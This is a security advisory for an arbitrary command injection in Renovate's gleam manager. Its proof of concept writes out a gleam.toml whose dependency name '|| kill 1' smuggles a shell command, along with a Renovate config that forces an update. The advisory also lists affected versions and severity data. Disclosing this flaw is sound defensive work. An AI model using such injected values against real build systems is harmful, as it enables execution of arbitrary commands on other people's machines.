Renovate vulnerable to arbitrary command injection via gleam manager and malicious gleam.toml file
Summary
The user-provided string depName in the gleam manager is appended to the gleam deps update command without proper sanitization.
Details
Adversaries can provide a maliciously crafted gleam.toml in conjunctions with a tweaked Renovate configuration file to trick Renovate to execute arbitrary code.
All values added to the packagesToUpdate variable in lib/modules/manager/gleam/artifacts.ts are not being escaped using the quote function from the shlex package.
This lack of proper sanitization has been present in the product since version 39.53.0 (https://github.com/renovatebot/renovate/commit/d29698e0131231652970f02765312769975e4d38), released on December 6 of 2024.
PoC
- Create a git repo with the following content:
renovate.json5:
{
$schema: "https://docs.renovatebot.com/renovate-schema.json",
customDatasources: {
always: {
defaultRegistryUrlTemplate: "https://docs.renovatebot.com/search/search_index.json",
transformTemplates: ['{"releases":[{"version":"99999.0.0"}]}'],
},
},
packageRules: [
{
// Target of the day
matchManagers: ["gleam"],
// Trick the manager in believing there's a new version
overrideDatasource: "custom.always",
},
],
}gleam.toml:
name = "renovate-aci-2"
version = "0.0.1"
[dependencies]
"|| kill 1" = "0.1.0"manifest.toml:
non-empty file- Run Renovate against the repo from a Docker container. Notice that the process terminates without reporting "Repository finished", because the ACI vulnerability allowed for execution of
kill 1, terminating the root process of the container.
Impact
This is a Arbitrary Command Injection vulnerability, allowing those with write access on repositories configured to be scanned by Renovate to cause the execution of commands of their choice on the machine that runs Renovate.
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | renovate | >= 39.53.0, < 40.33.0 | 40.33.0 |
References
- CVSS vector
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H- Weakness (CWE)
CWE-77- Platform
- npm
- Package
renovate- Disclosed
- 13.01.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-xjr7-3c3g-m763 - CC BY 4.0
Vulnerability history: renovate
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 11
- First → latest
- 10.2019 04.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Medium 11
Disclosures per year
- 2019: 1
- 2020: 1
- 2021: 0
- 2022: 0
- 2023: 0
- 2024: 1
- 2025: 0
- 2026: 8
-
Renovate vulnerable to arbitrary command injection via gleam manager and malicious gleam.toml file this entry
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